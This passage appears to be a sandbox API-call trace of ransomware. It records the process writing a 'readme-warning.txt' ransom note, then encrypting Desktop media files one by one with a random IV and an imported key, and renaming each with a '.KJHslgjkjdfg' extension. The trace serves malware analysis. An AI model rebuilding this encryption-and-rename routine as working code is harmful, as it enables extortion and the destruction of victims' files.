lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dff1f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dff1f0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.923] GetProcessHeap () returned 0x2ef0000 [0145.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0145.923] wsprintfA (in: param_1=0x4dff43f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.923] wsprintfA (in: param_1=0x4dff84c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.923] GetProcessHeap () returned 0x2ef0000 [0145.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3b260 [0145.923] wsprintfW (in: param_1=0x4dfe81c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\readme-warning.txt") returned 75 [0145.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0145.924] WriteFile (in: hFile=0xb8, lpBuffer=0x2f3b260*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe818, lpOverlapped=0x0 | out: lpBuffer=0x2f3b260*, lpNumberOfBytesWritten=0x4dfe818*=0x3b3, lpOverlapped=0x0) returned 1 [0145.925] CloseHandle (hObject=0xb8) returned 1 [0145.925] GetProcessHeap () returned 0x2ef0000 [0145.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16a30 | out: hHeap=0x2ef0000) returned 1 [0145.925] GetProcessHeap () returned 0x2ef0000 [0145.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3b260 | out: hHeap=0x2ef0000) returned 1 [0145.925] GetProcessHeap () returned 0x2ef0000 [0145.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0145.925] GetProcessHeap () returned 0x2ef0000 [0145.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.926] FindClose (in: hFindFile=0x2f123e8 | out: hFindFile=0x2f123e8) returned 1 [0145.926] GetProcessHeap () returned 0x2ef0000 [0145.926] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f167a0 | out: hHeap=0x2ef0000) returned 1 [0145.926] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9553e0, ftCreationTime.dwHighDateTime=0x1d5dd70, ftLastAccessTime.dwLowDateTime=0xdf03fd40, ftLastAccessTime.dwHighDateTime=0x1d5e04a, ftLastWriteTime.dwLowDateTime=0xdf03fd40, ftLastWriteTime.dwHighDateTime=0x1d5e04a, nFileSizeHigh=0x0, nFileSizeLow=0x6a2c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="C0yI_.gif", cAlternateFileName="")) returned 1 [0145.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0yI_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c0yi_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.928] GetProcessHeap () returned 0x2ef0000 [0145.928] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.928] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.928] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.929] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.931] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.931] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.931] GetProcessHeap () returned 0x2ef0000 [0145.931] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0145.931] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30) returned 1 [0145.931] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.931] WriteFile (in: hFile=0xc0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dffc90*=0x30, lpOverlapped=0x0) returned 1 [0145.931] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.931] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.931] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.932] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.932] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.932] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.932] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.932] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6a2c, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x6a2c, lpOverlapped=0x0) returned 1 [0145.933] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x6a30, dwBufLen=0x6a30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x6a30) returned 1 [0145.933] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.933] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x6a30, lpOverlapped=0x0) returned 1 [0145.934] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.934] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x6af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.934] SetEndOfFile (hFile=0xc0) returned 1 [0145.937] GetProcessHeap () returned 0x2ef0000 [0145.937] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0145.937] GetProcessHeap () returned 0x2ef0000 [0145.937] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.937] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0yI_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c0yi_.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0yI_.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c0yi_.gif.kjhslgjkjdfg")) returned 1 [0145.939] CloseHandle (hObject=0xc0) returned 1 [0145.939] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5696d50, ftCreationTime.dwHighDateTime=0x1d5e300, ftLastAccessTime.dwLowDateTime=0xd858a6b0, ftLastAccessTime.dwHighDateTime=0x1d5dc5f, ftLastWriteTime.dwLowDateTime=0xd858a6b0, ftLastWriteTime.dwHighDateTime=0x1d5dc5f, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5, dwReserved0=0x0, dwReserved1=0xffff, cFileName="c6jJHBY51xV.mp4", cAlternateFileName="C6JJHB~1.MP4")) returned 1 [0145.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jJHBY51xV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6jjhby51xv.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.939] GetProcessHeap () returned 0x2ef0000 [0145.939] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.939] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.939] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.939] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xb, lpOverlapped=0x0) returned 1 [0145.941] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.941] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.941] GetProcessHeap () returned 0x2ef0000 [0145.941] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.941] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0145.941] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.941] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0145.941] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.942] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.942] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.942] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.942] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.942] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.942] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.942] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.942] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15fa5, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x15fa5, lpOverlapped=0x0) returned 1 [0145.943] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x15fb0, dwBufLen=0x15fb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x15fb0) returned 1 [0145.945] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.945] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15fb0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x15fb0, lpOverlapped=0x0) returned 1 [0145.945] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.945] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x16084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.945] SetEndOfFile (hFile=0xc0) returned 1 [0145.949] GetProcessHeap () returned 0x2ef0000 [0145.949] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.949] GetProcessHeap () returned 0x2ef0000 [0145.949] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jJHBY51xV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6jjhby51xv.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jJHBY51xV.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6jjhby51xv.mp4.kjhslgjkjdfg")) returned 1 [0145.953] CloseHandle (hObject=0xc0) returned 1 [0145.953] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ae3010, ftCreationTime.dwHighDateTime=0x1d5e482, ftLastAccessTime.dwLowDateTime=0x747f7da0, ftLastAccessTime.dwHighDateTime=0x1d5e559, ftLastWriteTime.dwLowDateTime=0x747f7da0, ftLastWriteTime.dwHighDateTime=0x1d5e559, nFileSizeHigh=0x0, nFileSizeLow=0x759c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="cUg3FRsO834k-yph.flv", cAlternateFileName="CUG3FR~1.FLV")) returned 1 [0145.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cUg3FRsO834k-yph.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cug3frso834k-yph.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.954] GetProcessHeap () returned 0x2ef0000 [0145.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.954] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.954] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.954] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.955] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.955] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.955] GetProcessHeap () returned 0x2ef0000 [0145.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0145.956] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0145.956] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.956] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0145.956] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.956] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.956] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.956] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.956] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.956] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.956] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.956] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.956] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x759c, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x759c, lpOverlapped=0x0) returned 1 [0145.957] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x75a0, dwBufLen=0x75a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x75a0) returned 1 [0145.957] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.957] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x75a0, lpOverlapped=0x0) returned 1 [0145.957] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.957] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x7684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.957] SetEndOfFile (hFile=0xc0) returned 1 [0145.973] GetProcessHeap () returned 0x2ef0000 [0145.973] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0145.973] GetProcessHeap () returned 0x2ef0000 [0145.973] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cUg3FRsO834k-yph.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cug3frso834k-yph.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cUg3FRsO834k-yph.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cug3frso834k-yph.flv.kjhslgjkjdfg")) returned 1 [0145.975] CloseHandle (hObject=0xc0) returned 1 [0145.976] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43a9790, ftCreationTime.dwHighDateTime=0x1d5d96d, ftLastAccessTime.dwLowDateTime=0x6a3ba4b0, ftLastAccessTime.dwHighDateTime=0x1d5d873, ftLastWriteTime.dwLowDateTime=0x6a3ba4b0, ftLastWriteTime.dwHighDateTime=0x1d5d873, nFileSizeHigh=0x0, nFileSizeLow=0x13368, dwReserved0=0x0, dwReserved1=0xffff, cFileName="CZJofE7p.m4a", cAlternateFileName="")) returned 1 [0145.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CZJofE7p.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czjofe7p.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.977] GetProcessHeap () returned 0x2ef0000 [0145.977] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.977] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.977] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.977] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.979] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.979] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.979] GetProcessHeap () returned 0x2ef0000 [0145.979] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.979] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0145.979] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.979] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0145.979] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.979] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.980] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.980] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.980] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.980] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, 